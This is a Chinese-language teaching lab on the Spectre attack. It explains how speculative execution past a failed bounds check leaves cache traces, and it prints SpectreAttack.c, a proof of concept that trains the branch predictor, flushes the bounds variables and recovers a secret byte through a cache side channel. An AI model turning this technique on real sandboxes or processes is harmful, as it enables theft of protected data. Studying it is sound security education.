Section outline

  • 如前所述,我们可以让 CPU 在 if 语句中的条件为假时去执行条件为真的分支。如果这种乱序执行不产生任何可见效果,则不会出现问题。然而,大多数具有此功能的 CPU 在清理缓存上有问题,因此一些推测性执行留下的痕迹依然存在。Spectre 攻击利用这些痕迹来窃取受保护的秘密。

    这些秘密可能是另一个进程中的数据或同一进程中的一部分。如果是另一个进程中的数据,硬件级别的过程隔离将会阻止一个进程从另一个进程窃取数据。如果数据在同一个进程中,则保护措施通常通过软件来实现,例如沙箱机制。Spectre 攻击针对这两种类型的秘密都可以发起攻击,但是,从另一个进程窃取数据远比从同一个进程中更难。为了简化起见,本实验只关注从同一进程中窃取数据。

    当浏览器中打开不同服务器的网页时,这些网页通常在同一个进程中打开。浏览器内部实现的沙箱将为这些页面提供隔离环境,因此一个页面无法访问另一个页面的数据。大多数软件保护依赖于条件检查来决定是否应该授予访问权限。利用 Spectre 攻击,即使条件检查失败,我们也可以让 CPU 乱序执行一个受保护的代码分支,从而绕过了访问控制。

    1. 实验配置
     
    下图展示了实验的配置。在这一配置中,有两种类型的区域:受限区域和非受限区域。对区域的限制是通过沙箱函数中的 if 条件来实现的。沙箱函数返回 buffer[x] 的值,前提条件是用户提供的 x 值必须在允许的范围之内,也就是非受限区域。当用户想访问受限区域时,该沙箱函数只会返回 0。

    缓存

    unsigned int bound_lower = 0;
    unsigned int bound_upper = 9;
    uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
    
    // 沙箱函数
    uint8_t restrictedAccess(size_t x)
    {
      if (x <= bound_upper && x >= bound_lower) {
         return buffer[x];
      } else {
         return 0;
      }
    }

    受限区域内有一个秘密值(在缓冲区上方或下方),攻击者知道该秘密的地址,但无法直接访问存储秘密值的内存。唯一可以访问秘密的方法是通过上述沙箱函数。从上一节我们了解到,尽管当 x 大于缓冲区大小时真分支永远不会被执行,但是在微架构层面它仍然可以被执行,并且在执行结果被丢弃后会留下一些痕迹。

    2. 实验中使用的程序
     
    Spectre 攻击的代码(SpectreAttack.c) 如下所示。在这段代码中,定义了一个秘密值(第 🅰 行)。假设我们不能直接访问 secret,也不能修改 bound_lower 或 bound_upper 变量(但我们假设可以清除这两个边界变量的缓存)。我们的目标是利用 Spectre 攻击打印出秘密值。以下代码仅窃取秘密值的第一个字节。学生们可以扩展它以输出更多字节。

    /* SpectreAttack.c */
    #define CACHE_HIT_THRESHOLD (80)
    #define DELTA 1024
    
    unsigned int bound_lower = 0;
    unsigned int bound_upper = 9;
    uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
    char    *secret    = "Some Secret Value";     🅰
    uint8_t array[256*4096];
    
    // 沙箱函数
    uint8_t restrictedAccess(size_t x)
    {
      if (x <= bound_upper && x >= bound_lower) {
         return buffer[x];
      } else { return 0; }
    }
    
    void spectreAttack(size_t index_beyond)
    {
      int i;
      uint8_t s;
      volatile int z;
    
      // 训练 CPU 使得其在 restrictedAccess() 中预测真分支。
      for (i = 0; i < 10; i++) {
          restrictedAccess(i);
      }
    
      // 清除缓存中的 bound_upper、bound_lower 和 array[]。
      _mm_clflush(&bound_upper);
      _mm_clflush(&bound_lower);
      for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
      for (z = 0; z < 100; z++)  {   }
    
      s = restrictedAccess(index_beyond);      🅱
      array[s*4096 + DELTA] += 88;             🅲        
    }
    
    int main() {
      flushSideChannel();
      size_t index_beyond = (size_t)(secret - (char*)buffer);  🅳
      printf("secret: %p \n", secret);
      printf("buffer: %p \n", buffer);
      printf("index of secret (out of bound): %ld \n", index_beyond);
      spectreAttack(index_beyond);
      reloadSideChannel();
      return (0);
    }
     
    大部分代码与 SpectreExperiment.c 中的内容相同,因此我们不在这里赘述。最重要的部分是第 🅱、🅲 和 🅳 行。第 🅳 行计算了 secret 从缓冲区起始位置的偏移量(假设攻击者知道 secret 的地址;在实际攻击中,攻击者有许多方法可以推断出该地址,包括猜测)。这个偏移量肯定超出了缓冲区范围,因此它会大于缓冲区的上限或小于下限(即负数)。我们把偏移量传给 restrictedAccess() 函数。由于我们已经训练了 CPU,使其在 restrictedAccess() 中的推测性执行选择真分支,CPU 将在推测性执行中返回 buffer[index_beyond],该值包含了秘密值。这个秘密值随后导致其对应元素的 array[] 被加载到缓存中。所有这些步骤最终都会被撤销,所以从外部来看,restrictedAccess() 仅返回 0 而非秘密值。然而,缓存未被清除,并且 array[s*4096 + DELTA] 仍然保持在缓存中。现在我们只需要使用侧信道技术来确定哪个元素的 array[] 处于缓存中,就可以推测出 s 的值。

    3. 任务
     
    请编译并执行 SpectreAttack.c 程序。描述观察结果,注意您是否能够窃取秘密值。如果侧信道噪声很大,每次运行可能会得到不一致的结果。为克服这一问题,请多次运行程序,并查看是否能获取到秘密值。